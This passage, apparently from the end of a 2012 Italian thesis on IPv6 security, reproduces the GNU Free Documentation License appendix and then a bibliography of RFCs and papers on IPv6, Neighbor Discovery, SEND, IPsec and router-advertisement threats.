GNU FREE DOCUMENTATION LICENSE 63 as Invariant. The Document may contain zero Invariant Sections. If the Document does not identify any Invariant Sections then there are none. The “Cover Texts” are certain short passages of text that are listed, as Front-Cover Texts or Back-Cover Texts, in the notice that says that the Document is released under this License. A Front-Cover Text may be at most 5 words, and a Back-Cover Text may be at most 25 words. A “Transparent” copy of the Document means a machine-readable copy, represented in a format whose specification is available to the general public, that is suitable for revising the document straightforwardly with generic text editors or (for images composed of pixels) generic paint programs or (for drawings) some widely available drawing editor, and that is suitable for input to text formatters or for automatic translation to a variety of formats suitable for input to text formatters. A copy made in an otherwise Transparent file format whose markup, or absence of markup, has been arranged to thwart or discourage subsequent modification by readers is not Transparent. An image format is not Transparent if used for any substantial amount of text. A copy that is not “Transparent” is called “Opaque”. Examples of suitable formats for Transparent copies include plain ASCII without markup, Texinfo input format, LaTeX input format, SGML or XML using a publicly available DTD, and standard-conforming simple HTML, PostScript or PDF designed for human modification. Examples of transparent image formats include PNG, XCF and JPG. Opaque formats include proprietary formats that can be read and edited only by proprietary word processors, SGML or XML for which the DTD and/or processing tools are not generally available, and the machine-generated HTML, PostScript or PDF produced by some word processors for output purposes only. The “Title Page” means, for a printed book, the title page itself, plus such following pages as are needed to hold, legibly, the material this License requires to appear in the title page. For works in formats which do not have any title page as such, “Title Page” means the text near the most prominent appearance of the work’s title, preceding the beginning of the body of the text. The “publisher” means any person or entity that distributes copies of APPENDICE A. GNU FREE DOCUMENTATION LICENSE 64 the Document to the public. A section “Entitled XYZ” means a named subunit of the Document whose title either is precisely XYZ or contains XYZ in parentheses following text that translates XYZ in another language. (Here XYZ stands for a specific section name mentioned below, such as “Acknowledgements”, “Dedications”, “Endorsements”, or “History”.) To “Preserve the Title” of such a section when you modify the Document means that it remains a section “Entitled XYZ” according to this definition. The Document may include Warranty Disclaimers next to the notice which states that this License applies to the Document. These Warranty Disclaimers are considered to be included by reference in this License, but only as regards disclaiming warranties: any other implication that these Warranty Disclaimers may have is void and has no effect on the meaning of this License. A.2 Verbatim copying You may copy and distribute the Document in any medium, either commercially or noncommercially, provided that this License, the copyright notices, and the license notice saying this License applies to the Document are reproduced in all copies, and that you add no other conditions whatsoever to those of this License. You may not use technical measures to obstruct or control the reading or further copying of the copies you make or distribute. However, you may accept compensation in exchange for copies. If you distribute a large enough number of copies you must also follow the conditions in section 3. You may also lend copies, under the same conditions stated above, and you may publicly display copies. APPENDICE A. GNU FREE DOCUMENTATION LICENSE A.3 65 Copying in quantity If you publish printed copies (or copies in media that commonly have printed covers) of the Document, numbering more than 100, and the Document’s license notice requires Cover Texts, you must enclose the copies in covers that carry, clearly and legibly, all these Cover Texts: Front-Cover Texts on the front cover, and Back-Cover Texts on the back cover. Both covers must also clearly and legibly identify you as the publisher of these copies. The front cover must present the full title with all words of the title equally prominent and visible. You may add other material on the covers in addition. Copying with changes limited to the covers, as long as they preserve the title of the Document and satisfy these conditions, can be treated as verbatim copying in other respects. If the required texts for either cover are too voluminous to fit legibly, you should put the first ones listed (as many as fit reasonably) on the actual cover, and continue the rest onto adjacent pages. If you publish or distribute Opaque copies of the Document numbering more than 100, you must either include a machine-readable Transparent copy along with each Opaque copy, or state in or with each Opaque copy a computer-network location from which the general network-using public has access to download using public-standard network protocols a complete Transparent copy of the Document, free of added material. If you use the latter option, you must take reasonably prudent steps, when you begin distribution of Opaque copies in quantity, to ensure that this Transparent copy will remain thus accessible at the stated location until at least one year after the last time you distribute an Opaque copy (directly or through your agents or retailers) of that edition to the public. It is requested, but not required, that you contact the authors of the Document well before redistributing any large number of copies, to give them a chance to provide you with an updated version of the Document. APPENDICE A. GNU FREE DOCUMENTATION LICENSE A.4 66 Modifications You may copy and distribute a Modified Version of the Document under the conditions of sections 2 and 3 above, provided that you release the Modified Version under precisely this License, with the Modified Version filling the role of the Document, thus licensing distribution and modification of the Modified Version to whoever possesses a copy of it. In addition, you must do these things in the Modified Version: A. Use in the Title Page (and on the covers, if any) a title distinct from that of the Document, and from those of previous versions (which should, if there were any, be listed in the History section of the Document). You may use the same title as a previous version if the original publisher of that version gives permission. B. List on the Title Page, as authors, one or more persons or entities responsible for authorship of the modifications in the Modified Version, together with at least five of the principal authors of the Document (all of its principal authors, if it has fewer than five), unless they release you from this requirement. C. State on the Title page the name of the publisher of the Modified Version, as the publisher. D. Preserve all the copyright notices of the Document. E. Add an appropriate copyright notice for your modifications adjacent to the other copyright notices. F. Include, immediately after the copyright notices, a license notice giving the public permission to use the Modified Version under the terms of this License, in the form shown in the Addendum below. G. Preserve in that license notice the full lists of Invariant Sections and required Cover Texts given in the Document’s license notice. H. Include an unaltered copy of this License. APPENDICE A. GNU FREE DOCUMENTATION LICENSE 67 I. Preserve the section Entitled “History”, Preserve its Title, and add to it an item stating at least the title, year, new authors, and publisher of the Modified Version as given on the Title Page. If there is no section Entitled “History” in the Document, create one stating the title, year, authors, and publisher of the Document as given on its Title Page, then add an item describing the Modified Version as stated in the previous sentence. J. Preserve the network location, if any, given in the Document for public access to a Transparent copy of the Document, and likewise the network locations given in the Document for previous versions it was based on. These may be placed in the “History” section. You may omit a network location for a work that was published at least four years before the Document itself, or if the original publisher of the version it refers to gives permission. K. For any section Entitled “Acknowledgements” or “Dedications”, Preserve the Title of the section, and preserve in the section all the substance and tone of each of the contributor acknowledgements and/or dedications given therein. L. Preserve all the Invariant Sections of the Document, unaltered in their text and in their titles. Section numbers or the equivalent are not considered part of the section titles. M. Delete any section Entitled “Endorsements”. Such a section may not be included in the Modified Version. N. Do not retitle any existing section to be Entitled “Endorsements” or to conflict in title with any Invariant Section. O. Preserve any Warranty Disclaimers. If the Modified Version includes new front-matter sections or appendices that qualify as Secondary Sections and contain no material copied from the Document, you may at your option designate some or all of these sections APPENDICE A. GNU FREE DOCUMENTATION LICENSE 68 as invariant. To do this, add their titles to the list of Invariant Sections in the Modified Version’s license notice. These titles must be distinct from any other section titles. You may add a section Entitled “Endorsements”, provided it contains nothing but endorsements of your Modified Version by various parties—for example, statements of peer review or that the text has been approved by an organization as the authoritative definition of a standard. You may add a passage of up to five words as a Front-Cover Text, and a passage of up to 25 words as a Back-Cover Text, to the end of the list of Cover Texts in the Modified Version. Only one passage of Front-Cover Text and one of Back-Cover Text may be added by (or through arrangements made by) any one entity. If the Document already includes a cover text for the same cover, previously added by you or by arrangement made by the same entity you are acting on behalf of, you may not add another; but you may replace the old one, on explicit permission from the previous publisher that added the old one. The author(s) and publisher(s) of the Document do not by this License give permission to use their names for publicity for or to assert or imply endorsement of any Modified Version. A.5 Combining documents You may combine the Document with other documents released under this License, under the terms defined in section 4 above for modified versions, provided that you include in the combination all of the Invariant Sections of all of the original documents, unmodified, and list them all as Invariant Sections of your combined work in its license notice, and that you preserve all their Warranty Disclaimers. The combined work need only contain one copy of this License, and multiple identical Invariant Sections may be replaced with a single copy. If there are multiple Invariant Sections with the same name but different contents, make the title of each such section unique by adding at the end of it, in parentheses, the name of the original author or publisher of that section if APPENDICE A. GNU FREE DOCUMENTATION LICENSE 69 known, or else a unique number. Make the same adjustment to the section titles in the list of Invariant Sections in the license notice of the combined work. In the combination, you must combine any sections Entitled “History” in the various original documents, forming one section Entitled “History”; likewise combine any sections Entitled “Acknowledgements”, and any sections Entitled “Dedications”. You must delete all sections Entitled “Endorsements”. A.6 Collections of documents You may make a collection consisting of the Document and other documents released under this License, and replace the individual copies of this License in the various documents with a single copy that is included in the collection, provided that you follow the rules of this License for verbatim copying of each of the documents in all other respects. You may extract a single document from such a collection, and distribute it individually under this License, provided you insert a copy of this License into the extracted document, and follow this License in all other respects regarding verbatim copying of that document. A.7 Aggregation with independent works A compilation of the Document or its derivatives with other separate and independent documents or works, in or on a volume of a storage or distribution medium, is called an “aggregate” if the copyright resulting from the compilation is not used to limit the legal rights of the compilation’s users beyond what the individual works permit. When the Document is included in an aggregate, this License does not apply to the other works in the aggregate which are not themselves derivative works of the Document. If the Cover Text requirement of section 3 is applicable to these copies of the Document, then if the Document is less than one half of the entire APPENDICE A. GNU FREE DOCUMENTATION LICENSE 70 aggregate, the Document’s Cover Texts may be placed on covers that bracket the Document within the aggregate, or the electronic equivalent of covers if the Document is in electronic form. Otherwise they must appear on printed covers that bracket the whole aggregate. A.8 Translation Translation is considered a kind of modification, so you may distribute translations of the Document under the terms of section 4. Replacing Invariant Sections with translations requires special permission from their copyright holders, but you may include translations of some or all Invariant Sections in addition to the original versions of these Invariant Sections. You may include a translation of this License, and all the license notices in the Document, and any Warranty Disclaimers, provided that you also include the original English version of this License and the original versions of those notices and disclaimers. In case of a disagreement between the translation and the original version of this License or a notice or disclaimer, the original version will prevail. If a section in the Document is Entitled “Acknowledgements”, “Dedications”, or “History”, the requirement (section 4) to Preserve its Title (section 1) will typically require changing the actual title. A.9 Termination You may not copy, modify, sublicense, or distribute the Document except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense, or distribute it is void, and will automatically terminate your rights under this License. However, if you cease all violation of this License, then your license from a particular copyright holder is reinstated (a) provisionally, unless and until the copyright holder explicitly and finally terminates your license, and (b) APPENDICE A. GNU FREE DOCUMENTATION LICENSE 71 permanently, if the copyright holder fails to notify you of the violation by some reasonable means prior to 60 days after the cessation. Moreover, your license from a particular copyright holder is reinstated permanently if the copyright holder notifies you of the violation by some reasonable means, this is the first time you have received notice of violation of this License (for any work) from that copyright holder, and you cure the violation prior to 30 days after your receipt of the notice. Termination of your rights under this section does not terminate the licenses of parties who have received copies or rights from you under this License. If your rights have been terminated and not permanently reinstated, receipt of a copy of some or all of the same material does not give you any rights to use it. A.10 Future revisions of this license The Free Software Foundation may publish new, revised versions of the GNU Free Documentation License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. See http://www.gnu.org/copyleft/. Each version of the License is given a distinguishing version number. If the Document specifies that a particular numbered version of this License “or any later version” applies to it, you have the option of following the terms and conditions either of that specified version or of any later version that has been published (not as a draft) by the Free Software Foundation. If the Document does not specify a version number of this License, you may choose any version ever published (not as a draft) by the Free Software Foundation. If the Document specifies that a proxy can decide which future versions of this License can be used, that proxy’s public statement of acceptance of a version permanently authorizes you to choose that version for the Document. APPENDICE A. GNU FREE DOCUMENTATION LICENSE A.11 72 Relicensing “Massive Multiauthor Collaboration Site” (or “MMC Site”) means any World Wide Web server that publishes copyrightable works and also provides prominent facilities for anybody to edit those works. A public wiki that anybody can edit is an example of such a server. A “Massive Multiauthor Collaboration” (or “MMC”) contained in the site means any set of copyrightable works thus published on the MMC site. “CC-BY-SA” means the Creative Commons Attribution-Share Alike 3.0 license published by Creative Commons Corporation, a not-for-profit corporation with a principal place of business in San Francisco, California, as well as future copyleft versions of that license published by that same organization. “Incorporate” means to publish or republish a Document, in whole or in part, as part of another Document. An MMC is “eligible for relicensing” if it is licensed under this License, and if all works that were first published under this License somewhere other than this MMC, and subsequently incorporated in whole or in part into the MMC, (1) had no cover texts or invariant sections, and (2) were thus incorporated prior to November 1, 2008. The operator of an MMC Site may republish an MMC contained in the site under CC-BY-SA on the same site at any time before August 1, 2009, provided the MMC is eligible for relicensing. APPENDICE A. GNU FREE DOCUMENTATION LICENSE 73 ADDENDUM: How to use this License for your documents To use this License in a document you have written, include a copy of the License in the document and put the following copyright and license notices just after the title page: c YEAR YOUR NAME. Permission is granted to Copyright copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, no Front-Cover Texts, and no Back-Cover Texts. A copy of the license is included in the section entitled “GNU Free Documentation License”. If you have Invariant Sections, Front-Cover Texts and Back-Cover Texts, replace the “with . . . Texts.” line with this: with the Invariant Sections being LIST THEIR TITLES, with the Front-Cover Texts being LIST, and with the Back-Cover Texts being LIST. If you have Invariant Sections without Cover Texts, or some other combination of the three, merge those two alternatives to suit the situation. If your document contains nontrivial examples of program code, we recommend releasing these examples in parallel under your choice of free software license, such as the GNU General Public License, to permit their use in free software. Bibliografia [1] Charles M. Kozierok, TCP/IP GUIDE, no starch press, San Francisco, 2005 [2] Andrew S. Tanenbaum, Computer Networks 4th Edition, Pearson Education, 2003 [3] Gaeil An, Kiyoung Kim, Jongsoo Jang, Yonghee Jeon , Analysis of SEND Protocol through Implementation and Simulation, 2007 [4] S. Deering, R. Hinden, Internet Protocol, Version 6 (IPv6) Specification, RFC 2460, Dicembre 1998 [5] Narten T., Nordmark, E. and W. Simpson, Neighbor Discovery for IP Version 6 (IPv6), RFC 2461, Dicembre 1998 [6] Thomson, S. and T. Narten, IPv6 Stateless Address Autoconfiguration, RFC 2462, Dicembre 1998 [7] Conta, A. and S. Deering, Internet Control Message Protocol (ICMPv6) for the Internet Protocol Version 6 (IPv6) Specification, RFC 2463, Dicembre 1998 [8] J. Arkko, J. Kempf, B. Zill, SEcure Neighbor Discovery (SEND), RFC 3971, Marzo 2005. [9] R. Hinden, S. Deering, Internet Protocol Version 6 (IPv6) Addressing Architecture, RFC 3513, Aprile 2003 74 BIBLIOGRAFIA 75 [10] S. Kent, K. Seo, Security Architecture for the Internet Protocol, RFC 4301, Dicembre 2005 [11] S. Kent, R. Atkinson, IP Authentication Header, RFC 2402, Novembre 1998 [12] S. Kent, R. Atkinson, IP Encapsulating Security Payload (ESP), RFC 2406, Novembre 1998 [13] D. Harkins, D. Carrel, The Internet Key Exchange (IKE), RFC 2409, Novembre 1998 [14] T. Chown, S. Venaas, Rogue IPv6 Router Advertisement Problem Statement, RFC 6104, Febbraio 2011 [15] E. Levy-Abegnoli, G. Van De Velde, C. Popoviciu, J. Mohacsi, IPv6 Router Advertisement Guard, RFC 6105, Febbraio 2011 [16] F. Gont, IPv6 Router Advertisement Guard (RA-Guard) Evasion, draft-gont-v6ops-ra-guard-evasion-01, Internet-Draft, 8 Giugno 2011 [17] T. P. Nikander, J. Kempf, E. Nordmark, IPv6 Neighbor Discovery (ND) Trust Models and Threats, RFC 3756, Maggio 2004 [18] D. Yang, X. Song, Q. Guo, Security IPv6, 2010 [19] A. Vives, J. Palet, IPv6 Distribuited Security: Statement, 2005 [20] Abdur Rahim Choudhary, In-depth Analysis of IPv6 Security Posture, 2009 [21] A. Carp, A. Soare, R. Rughinis, Pratical Analysis of IPv6 Security Auditing Methods, 2010 [22] X. Yang, T. Ma, Y. Shi, Typical DoS/DDoS threats under IPv6, 2007 Problem BIBLIOGRAFIA 76 [23] H. Oh, K. Chae, H. Bang, J. Na, Comparisons analysis of Security Vulnerabilities for Security Enforcement in IPv4/IPv6, 2006 [24] Cynthia E. Martin, Jeffrey H. Dunn, Internet Protocol Version 6 (IPv6) Protocol Security Assessment, 2007 Questa tesi è stata redatta utilizzando LATEX e GNU Emacs c Rocco Folino 9 settembre 2012 77